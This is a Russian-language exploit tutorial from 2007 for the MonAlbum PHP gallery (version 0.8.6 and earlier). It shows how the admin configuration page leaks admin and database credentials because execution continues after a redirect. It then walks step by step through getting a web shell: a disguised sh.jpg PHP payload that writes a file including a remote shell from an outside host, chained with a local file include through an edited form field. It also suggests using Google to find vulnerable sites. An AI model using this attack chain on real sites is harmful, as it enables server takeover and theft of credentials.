--------------[ Детские ошибки MonAlbum <= 0.8.6 ]---------- ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Все для начинающих ))). -----/ Вступление /------ Данный php-скрипт представляет из себя Фото Галлерею с поддержкой базы данных MySql, у нас она не очень популярна )). Итак, по багтреку SecurityLab понятно, что есть бага в файле admin/admin_configuration.php. Смотрим: Code: include("./secure.php"); $glangage = $_POST['glangage']; if (!isset($glangage)) include("../conf/config.inc.php"); // inclut pas qd sauvegarde include ("../lib/album.inc"); include_once("../lang/$glangage"); $mod = $_POST['mod']; //дальше идет вывод настроек MonAlbum ... Этот файл предназначен для вывода опций галереи и их корректного сохранения. В файле secure.php ничего нет кроме: Code: session_start(); if (!isset($_SESSION['name'])) header ("Location: http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF'])."/login_page.php"); Он всего лишь перенаправляет юзера, если тот не в сессии администратора. Остальные инклуд файлы не предсталяют интереса, судя по их названиям(../conf/config.inc.php, ../lib/album.inc). Строчка Code: include_once("../lang/$glangage"); не вызовет у нас проблем, даже если $_POST['glangage'] будет ссылаться на не существующий файл(можно считать, что это локальный include-баг). Вывод: можно просмотреть все настройки скрипта, включая логин и пасс админа, а также данные для подключения к базе данных, потому как скрипт продолжает выполняться после перенаправления браузера.(хедер Location -------/ Эксплуатация /------- Практически это осуществляется путем коннекта телнетом или неткатом к бажному сайту и запроса о выводе файла admin.php/admin_configuration.php. Чтобы залить шелл потребуется войти под админом, закачать файл sh.jpg примерно такого содержания Code: <?php $f=fopen("../images/sh.php","w"); fputs($f,"<?php include(\"http://your_site/sh.txt\");?>"); fclose($f); die("yeah!"); ?> где как ты сам догадался sh.txt твой любимый пхп шелл. После закачки будет куча предупреждений, но файл будет успешно сохранен в папке images. Теперь настал черед инклуд багу, заходим браузером на admin/admin_configuration.php, сохраняем страницу на жесткий диск, удаляем из паги <input type="hidden" name="mod"> и меняем <select name="glangage">, а точнее значение одного из <option> на название нашего файла "../images/sh.jpg".(незабудь изменить параметр action формы на корректное значение) Теперь перезагружаем пагу, вибираем нужный нам язык )), и отправляем форму на сервер. Видим надпись "yeah!", все получилось, шелл получен.)) ------/ Заключение /-------- Конечно лучше тренироваться в использовании данной баги на локалхосте, но тебе никто не мешает сделать запрос в гугле на бажный скрипт. Для счастливых владельцев этой галереи я бы порекомендовал пропатчить файл admin_configuration.php, либо полностью отказаться от данного скрипта. Да и еще... самое главное! Статья написана в помощь администраторам и авторам всевозможных пхп-скриптов, с целью указать на их возможные ошибки. Не используйте информацию из этой статьи в целях противоречащих УК. ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -----[ Copyright © 2007 Stefun ]----- P.S.: Сплоит в наличии )))